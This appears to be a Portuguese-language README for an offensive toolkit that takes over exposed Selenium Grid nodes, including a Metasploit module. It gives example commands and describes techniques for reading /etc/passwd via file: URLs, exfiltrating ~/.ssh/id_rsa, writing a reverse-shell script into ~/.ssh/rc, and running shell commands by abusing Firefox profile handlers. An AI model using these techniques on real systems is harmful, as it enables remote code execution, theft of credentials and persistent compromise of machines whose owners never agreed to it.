Uma coleção de testes selenium que pode auxiliar na tomada de controle de um nó selenium
Este projeto foi movido. Para obter a versão mais recente, faça um pull de https://codeberg.org/JonStratton/selenium-node-takeover-kit
Isto combina alguns dos exemplos abaixo para enviar arquivos para, baixar arquivos de e executar código em um nó Selenium (via o parâmetro "COMMAND_TYPE"). O RCE atualmente só funciona em Linux. Para instalar, copie isto para "~/.msf4/modules/exploits/multi/http/" ou onde preferir.
Isto simplesmente navega para a url "file:" e despeja o conteúdo da página.
examples/selenium_node_cat.py -h http://selenium-hub.lan:4444/wd/hub -r /etc/passwdIsto usa HTML inline para criar um formulário inline com um campo de upload de arquivo. Em seguida, envia um caminho de arquivo local para este formulário. O Java-script neste formulário incorpora este arquivo codificado em base64 na mesma página. Isto é então lido e decodificado pelos scripts, e salvo em um arquivo local.
examples/selenium_node_download.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/id_rsa -l ./nodes_rsaComo os scripts de Download de Nó, mas sem se preocupar em processar o arquivo em Java-script. Se o arquivo não existir, o script, o send_keys() lançará uma exceção.
Apenas Firefox. Usa um Perfil do Firefox (que é apenas um arquivo zip codificado em base64 embutido em uma chamada da API do Selenium) para criar um manipulador personalizado ("application/sh" para /bin/sh neste caso). Em seguida, codifica em base64 alguns comandos de shell e usa "data:" inline para passar comandos associados a "application/sh". O Firefox criará então um arquivo temporário com os comandos e o executará com sh.
Apenas Firefox. Usa um Perfil do Firefox para definir um diretório de download personalizado e desativar o prompt "Salvar como". Em seguida, navega para HTML inline com um link "data:" embutido que é o arquivo codificado a ser enviado. Este link é então clicado.
examples/selenium_node_upload.py -h http://selenium-hub.lan:4444/wd/hub -r ~/.ssh/rc -l ./reverse_shell.shApenas Firefox. Usa um Perfil do Firefox, que não é descompactado com segurança, para escrever um arquivo no sistema de arquivos do nó.